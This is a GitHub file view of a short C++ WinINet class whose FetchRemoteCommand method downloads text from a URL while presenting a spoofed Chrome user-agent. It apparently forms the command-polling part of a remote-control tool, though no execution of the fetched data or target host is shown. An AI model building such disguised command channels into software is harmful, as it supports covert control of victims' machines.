-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDownloadManager.cpp
More file actions
31 lines (24 loc) · 986 Bytes
/
DownloadManager.cpp
File metadata and controls
31 lines (24 loc) · 986 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "DownloadManager.hpp"
#include <iostream>
DownloadManager::DownloadManager() : hInternet(nullptr) {
hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
}
DownloadManager::~DownloadManager() {
if (hInternet) {
InternetCloseHandle(hInternet);
}
}
std::string DownloadManager::FetchRemoteCommand(const std::string& url) {
if (!hInternet) return "";
HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hConnect) return "";
std::string response;
char buffer[4096];
DWORD bytesRead = 0;
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
response.append(buffer, bytesRead);
}
InternetCloseHandle(hConnect);
return response;
}